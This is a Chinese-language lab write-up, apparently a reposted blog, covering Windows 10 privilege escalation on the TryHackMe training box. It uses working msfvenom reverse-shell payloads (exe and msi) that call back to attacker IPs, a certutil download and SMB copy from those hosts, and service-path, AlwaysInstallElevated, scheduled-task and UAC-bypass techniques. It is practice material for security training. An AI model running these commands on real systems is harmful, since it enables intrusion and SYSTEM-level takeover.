windows10提权

news2025/7/7 5:48:11

参照tryhackme的win10提权靶场
靶场,地址
里面共描述了服务路径,文件权限,计划任务,令牌窃取,图形化软件,应用组件安装等,这里只有令牌窃取需要管理员Administrator权限,值得注意的是该权限并不是管理员组中的其他用户
这里介绍下使用的工具以及相应链接
winPEAS:用于windows以及linux系统提权,
accesschk:用户可以使用该组件了解文件、目录、注册表项、全局对象和 Windows 服务的访问权限
impacket:是用于处理网络协议的 Python 类的集合
UACME:通过滥用内置的 Windows AutoElevate 后门来击败 Windows 用户帐户控制,简单地说 bypassuac
Certutil:windows自带工具,可以用来获取文件
sc:windows系统内置,是用于与服务控制管理器和服务进行通信的命令行程序

服务搭建
通过网站提供的vpn连接到所需环境中,远程桌面连接目标主机,实现远控前提
这里介绍两种方法
主机使用msf生成病毒文件,这里可以生成两个不同端口的exe,以便后续反弹会话

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.36.66  LPORT=4444 -f exe -o reverse.exe

主机使用http开启httpserver服务,靶机进行下载

python -m SimpleHTTPServer 80
certutil.exe -urlcache -split -f http://10.14.36.66/reverse.exe

主机挂载smb共享目录,靶机进行下载

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
copy \\10.14.36.66\kali\reverse.exe C:\PrivEsc\reverse.exe

还有就是msf生成powershell,目标机进行执行,但是个人测试中,命令无法复制粘贴,不进行测试
在这里插入图片描述主机监听,获取meterpreter会话
在这里插入图片描述
该靶机以安装相关工具,这里使用winPEASany.exe探测目标信息

服务权限不当
在这里插入图片描述通过这段描述,我们可以对该文件进行写入或者创建,并且该文件处于停止状态,
使用accesschk查看该文件的详细信息

accesschk.exe /accepteula -uwcqv user daclsvc

在这里插入图片描述
发现可以启动关闭该服务,以及写入读取配置文件等,使用sc qc查询daclsvc的配置信息

在这里插入图片描述
发现该文件以system权限运行,而我们拥有对该文件的修改权限,修改daclsve服务的具体执行文件,从而获取system权限

sc config daclsvc binpath= "\"C:\PrivEsc\shell.exe\""

启动daclsvc服务即可获取shell
在这里插入图片描述
服务路径未用引号包括

在这里插入图片描述Unquoted Path Service:未引用的路径服务
使用sc qc 查看该服务配置信息
使用accesschk查看目录权限
在这里插入图片描述
不加引号时,启动顺序为

C:\Program.exe
C:\Program Files\Unquoted.exe
C:\Program Files\Unquoted Path Service\Common.exe

启动unquotedsvc服务,即可接收到system权限会话
在这里插入图片描述

不安全的服务可执行文件

在这里插入图片描述此文件的权限为all,所有用户均可修改,查看配置信息

sc qc filepermsvc

发现为本地system权限
在这里插入图片描述在这里插入图片描述任何用户均可读写,将恶意文件替换正常filepermservice文件,然后启动该服务,即可获得system权限,
在这里插入图片描述在这里插入图片描述
安装软件用户提升权限,安装某些软件时候需要使用管理员或者更高级别用户权限,
需要条件为

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

这两个键值为0或者0x1才可
该靶场环境中均为0x1
在这里插入图片描述

在这里插入图片描述生成msi安装文件,使用msf的upload上传

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.6.64 LPORT=4444 -f msi -o reverse.msi

在这里插入图片描述安装文件,

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

在这里插入图片描述

在这里插入图片描述
不安全的密码存储,使用winPEASany.exe发现目标存储明文账号密码

在这里插入图片描述计划任务提权

C:\DevTools\CleanUp.ps1
查看用户权限

accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

拥有读写的权限,将恶意文件写入计划任务重,即可获得system权限
在这里插入图片描述

echo C:\PrivEsc\shell.exe >> C:\DevTools\CleanUp.ps1

即可获得system权限

不安全的GUI应用程序

在这里插入图片描述当前用户权限为user
但是打开图形化界面
在这里插入图片描述在这里插入图片描述
即为管理员权限

令牌窃取
这个玩意经过研究发现,目标如果开启SeImpersonatePrivilege模拟客户端验证,即可使用土豆系列工具直接从user权限跨越到system权限,或者更低用户权限,但均需要目标开启SeImpersonatePrivilege

whoami /priv

即可查看到,这里目标是以Administartor权限测试,这里不进行验证,我都有Administartor了,我直接msf下面getsystem即可,getsystem实际上也是令牌窃取

https://github.com/itm4n/PrintSpoofer 下载地址
https://github.com/poweradminllc/PAExec

bypassuac
需要管理员组成员
uac就是让你确定是否用管理员权限运行的弹窗
下载地址开头已给出 UACME
作者并未给出具体编译,需要个人编译,个人使用的是vsstudio2019,安装的时候

在这里插入图片描述

多选择一点,要不然报错 function.c的错误,
然后直接编译即可,编译出来的文件为akagi.exe ,win10下直接跟akagi.exe 33即可
或者 akagi.exe 33 C:\shell.exe也可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/7022.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

向毕业妥协系列之机器学习笔记:无监督学习-聚类

目录 序言 一.什么是聚类 二.K-means算法 三.优化目标 四.初始化K-means 五.选择聚类数量(k?) 序言 第三课这块要学习的几块知识如下: 在学完监督学习之后,接下来我们要学习的东西分别是聚类,异常检测&#xf…

Spring 源码阅读 74:事务管理的原理 - BeanFactoryTransactionAttributeSourceAdvisor 分析

本文通过对 BeanFactoryTransactionAttributeSourceAdvisor 类的分析,了解了 Spring 是如何通过 AOP 来完成事务的管理的,本文的内容需要你对 Spring 的 AOP 的实现原理有一定的了解。 基于 Spring Framework v5.2.6.RELEASE 概述 Spring 的事务管理基于…

基于 Flask-Admin 与 AdminLTE 构建通用后台管理系统

Flask-Admin 是什么? Flask-Admin 官网文档中给出了其功能定位: Why Flask-Admin? In a world of micro-services and APIs, Flask-Admin solves the boring problem of building an admin interface on top of an existing data model. With little e…

SAP 公司代码全局参数设置及其意义

在SAP中配置公司时,会配置公司的全局参数,但这些参数具体的意思是什么估计很多同学都搞不懂,我也找了下资料,贴出来供大家参考。 设置参数路径:IMG→财务会计→财务会计全局设置→公司代码的全球参数→输入全局参数 账…

教你几个手机识别图片中的文字小技巧

平时我们在工作,有时候会拿到需要录入的纸质文件,如果我们使用双手逐一对照录入的话,就太浪费时间了。其实还有一个更简单的方法,就是将需要录入的文件拍摄下来,借助工具将图片内容转写为文字出来,再将其复…

Python Flask框架-开发简单博客-认证蓝图

作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络攻防。我的…

最新定制的安卓项目及设计报告——仿番茄小说APP

已录演示视频,想看演示视频的可以私我 《移动应用开发实践》实践报告 APP名称: 番茄免费小说 要求: 格式:宋体,小四号字;首行缩进;行距:1.5倍。 每人独立完成Android App的设计…

三步学会如何构建平衡二叉树(简单好理解)

何为平衡二叉树? 首先回顾一下,什么是平衡二叉树(亦被称为AVL树,Adelson-Velskii and Landis)。平衡二叉树主要具有以下三个特点: 1. 平衡二叉树首先要符合搜索二叉树的特点:即左子树的值比根节点小&…

排序算法之归并排序

目录 归并排序递归实现 思想 图解 代码 归并排序的非递归版本 基本思想: 代码 归并排序递归实现 思想 最主要的相当于二叉树遍历中的后序遍历。 ①将数组分割成多个小区间(当只有一个元素或者并不存在的时候就不用再分割了) ②对每一…

某工控图片上传服务 CPU 爆高分析

一:背景 1.讲故事 今天给大家带来一个入门级的 CPU 爆高案例,前段时间有位朋友找到我,说他的程序间歇性的 CPU 爆高,不知道是啥情况,让我帮忙看下,既然找到我,那就用 WinDbg 看一下。 二&…

Linux进程概念和控制(必备知识)

文章目录1、冯诺依曼体系结构2、操作系统3、进程<1>进程的创建<2>进程查看<3>进程状态<4>进程优先级<5> 进程地址空间4、环境变量5、进程控制<1>进程终止<2>进程等待<3>进程替换1、冯诺依曼体系结构 我们常见的计算机&#x…

软考 - 软件工程

软件过程基本概述 基本要素 方法工具过程 软件过程模型 能力成熟度模型CMM 能力成熟度模型CMMI 统一过程UP模型 针对大型项目 三大特别 用例和风险驱动以架构为中心迭代并且增量 四个阶段 起始&#xff1a;确认需求和风险评估精化&#xff1a;核心架构设计构建&#xff1a;构…

Linux内核开发 | Linux内核目录结构分析(5.4.32)

文章目录1. arch2. block3. certs4. crypto5. Documentation6. drivers7. fs8. include9. init10. ipc11. kernel12. lib13. mm14. net15. samples16. scripts17. security18. sound19. tools20. usr21. virt本文以Linux主线5.4.32内核版本进行分析。1. arch 该目录下包含了li…

【ROS】机械人开发--ROS工作空间与功能包

机械人开发--ROS工作空间与功能包一、ROS工作空间1.1 概念1.2 创建工作空间1.3 编译工作空间1.4 设置环境变量1.5 添加环境变量二、功能包2.1 概念2.2 功能包的内容2.3 创建功能包三、CMakeLists.txt文件四、package.xml文件一、ROS工作空间 1.1 概念 工作空间&#xff08;wo…

以“新IT”助“数智融合”,联想推开“智能化转型”下半场的大门

作者 | 曾响铃 文 | 响铃说 近年来&#xff0c;我国对数字化的重视达到前所未有的高度&#xff0c;从“十四五”规划纲要首次将数字经济单独列为一篇&#xff1b;到二十大报告中指出&#xff1a;“坚持把发展经济的着力点放在实体经济上”、“促进数字经济和实体经济深度融合…

SpringMVC学习篇(五)

SpringMVC之json数据传递 1.1 准备工作 1.1.1 导入lombok依赖(方便写实体类) <dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId><version>1.18.24</version></dependency>1.1.2 导入mvc js…

mysql经典案例带解析(你没见过的全新版本)55题

首先给出初始表格 表格创建命令 create table emp(id int primary key auto_increment,name varchar(20),job varchar(20),manager int,hiredate date,sal double(8,2),comm double(6,2),dept_id int)charsetutf8;create table dept(id int primary key auto_increment,nam…

AcrelEMS-BP生物制药工厂能效管理系统

安科瑞 华楠 聚焦全厂能源采集、监控、分析、调度,降本提效,实现企业双碳目标;致力于全域化设备监视、巡检、故障报警、工单管理,运维优化,提升设备使用效率。 综合自动化系统 110kV及以下变电站综合自动化系统实现遥测、遥信、遥控、事故追忆、故障录波、安全防护、上传调度 …

搭建接口平台YApi详解(含搭建node环境)

公司之前使用的doclever 感觉不太好用&#xff0c;打算私有化部署YApi 步骤 准备使用yapi的可视化部署&#xff0c;需要有node环境 安装node环境 测试一下有没有node环境 如下就是有 [root192 sbin]# node -v v14.17.0 [root192 sbin]# npm -v 6.14.13没有就创建 cd /us…

webpack5 打包环境抽离分环境基本配置

两种开发模式 开发模式&#xff1a;代码能编译自动化运行生产模式&#xff1a;代码编译优化输出Webpack 基本功能 开发模式&#xff1a;可以编译 ES Module 语法生产模式&#xff1a;可以编译 ES Module 语法&#xff0c;压缩 js 代码Webpack 配置文件5 个核心概念 entryoutput…